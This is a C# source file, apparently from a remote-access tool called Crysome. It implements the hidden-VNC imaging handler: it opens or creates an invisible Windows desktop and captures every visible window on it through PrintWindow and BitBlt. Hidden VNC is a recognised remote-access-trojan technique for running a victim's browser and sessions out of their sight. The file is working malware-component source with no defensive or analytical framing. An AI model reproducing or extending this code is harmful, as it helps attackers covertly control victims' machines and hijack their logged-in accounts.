Files
crysome/Crysome.Client/Crysome.Client.Hvnc/HvncImagingHandler.cs
T
2026-08-27 11:22:54 -06:00

292 lines
7.5 KiB
C#

using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
namespace Crysome.Client.Hvnc;
internal sealed class HvncImagingHandler : IDisposable
{
private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
private const uint DESKTOP_GENERIC_ALL = 511u;
private const uint GW_HWNDLAST = 1u;
private const uint GW_HWNDPREV = 3u;
private const int VERTRES = 10;
private const int DESKTOPVERTRES = 117;
private const uint SRCCOPY = 13369376u;
public IntPtr Desktop { get; }
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetDC(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
[DllImport("user32.dll")]
private static extern IntPtr GetTopWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindowDC(IntPtr hWnd);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
[DllImport("gdi32.dll")]
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
[DllImport("gdi32.dll")]
private static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, uint dwRop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("gdi32.dll")]
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
public HvncImagingHandler(string desktopName)
{
IntPtr intPtr = OpenDesktop(desktopName, 0, fInherit: true, 511u);
if (intPtr == IntPtr.Zero)
{
intPtr = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
}
Desktop = intPtr;
}
private static float GetScalingFactor()
{
using Graphics graphics = Graphics.FromHwnd(IntPtr.Zero);
IntPtr hdc = graphics.GetHdc();
int deviceCaps = GetDeviceCaps(hdc, 10);
int deviceCaps2 = GetDeviceCaps(hdc, 117);
graphics.ReleaseHdc(hdc);
return (deviceCaps > 0) ? ((float)deviceCaps2 / (float)deviceCaps) : 1f;
}
private static bool IsMostlyBlack(Bitmap bmp)
{
if (bmp == null || bmp.Width == 0 || bmp.Height == 0)
{
return true;
}
int num = Math.Max(1, bmp.Width / 20);
int num2 = Math.Max(1, bmp.Height / 20);
int num3 = 0;
int num4 = 0;
BitmapData bitmapData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);
try
{
int stride = bitmapData.Stride;
IntPtr scan = bitmapData.Scan0;
for (int i = 0; i < bmp.Height; i += num2)
{
for (int j = 0; j < bmp.Width; j += num)
{
int num5 = i * stride + j * 4;
byte b = Marshal.ReadByte(scan, num5);
byte b2 = Marshal.ReadByte(scan, num5 + 1);
byte num6 = Marshal.ReadByte(scan, num5 + 2);
num3++;
if (num6 < 20 && b2 < 20 && b < 20)
{
num4++;
}
}
}
}
finally
{
bmp.UnlockBits(bitmapData);
}
if (num3 > 0)
{
return num4 * 100 / num3 > 80;
}
return false;
}
private bool DrawWindowBitBlt(IntPtr hWnd, Graphics g, IntPtr dc, RECT r, float scale)
{
int num = (int)((float)(r.Right - r.Left) * scale);
int num2 = (int)((float)(r.Bottom - r.Top) * scale);
if (num <= 0 || num2 <= 0)
{
return false;
}
IntPtr windowDC = GetWindowDC(hWnd);
if (windowDC == IntPtr.Zero)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(dc);
IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
IntPtr hgdiobj = SelectObject(intPtr, intPtr2);
bool flag = BitBlt(intPtr, 0, 0, num, num2, windowDC, 0, 0, 13369376u);
SelectObject(intPtr, hgdiobj);
if (flag)
{
try
{
using Bitmap image = Image.FromHbitmap(intPtr2);
g.DrawImage(image, r.Left, r.Top);
}
catch
{
flag = false;
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
ReleaseDC(hWnd, windowDC);
return flag;
}
private bool DrawWindow(IntPtr hWnd, Graphics g, IntPtr dc)
{
if (!GetWindowRect(hWnd, out var lpRect))
{
return false;
}
float scalingFactor = GetScalingFactor();
int num = (int)((float)(lpRect.Right - lpRect.Left) * scalingFactor);
int num2 = (int)((float)(lpRect.Bottom - lpRect.Top) * scalingFactor);
if (num <= 0 || num2 <= 0)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(dc);
IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
SelectObject(intPtr, intPtr2);
if (PrintWindow(hWnd, intPtr, 2u))
{
try
{
using Bitmap original = Image.FromHbitmap(intPtr2);
using Bitmap bitmap = new Bitmap(original);
if (!IsMostlyBlack(bitmap))
{
g.DrawImage(bitmap, lpRect.Left, lpRect.Top);
DeleteObject(intPtr2);
DeleteDC(intPtr);
return true;
}
}
catch
{
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
return DrawWindowBitBlt(hWnd, g, dc, lpRect, scalingFactor);
}
private void DrawTopDown(IntPtr owner, Graphics g, IntPtr dc)
{
IntPtr topWindow = GetTopWindow(owner);
if (topWindow == IntPtr.Zero)
{
return;
}
topWindow = GetWindow(topWindow, 1u);
while (topWindow != IntPtr.Zero)
{
if (IsWindowVisible(topWindow))
{
DrawWindow(topWindow, g, dc);
}
topWindow = GetWindow(topWindow, 3u);
}
}
public Bitmap Screenshot()
{
if (Desktop == IntPtr.Zero)
{
return null;
}
SetThreadDesktop(Desktop);
IntPtr dC = GetDC(IntPtr.Zero);
if (dC == IntPtr.Zero)
{
return null;
}
if (!GetWindowRect(GetDesktopWindow(), out var lpRect))
{
ReleaseDC(IntPtr.Zero, dC);
return null;
}
float scalingFactor = GetScalingFactor();
int num = (int)((float)lpRect.Right * scalingFactor);
int num2 = (int)((float)lpRect.Bottom * scalingFactor);
if (num <= 0 || num2 <= 0)
{
ReleaseDC(IntPtr.Zero, dC);
return null;
}
Bitmap bitmap = new Bitmap(num, num2);
using (Graphics g = Graphics.FromImage(bitmap))
{
DrawTopDown(IntPtr.Zero, g, dC);
}
ReleaseDC(IntPtr.Zero, dC);
return bitmap;
}
public void Dispose()
{
if (Desktop != IntPtr.Zero)
{
CloseDesktop(Desktop);
}
}
}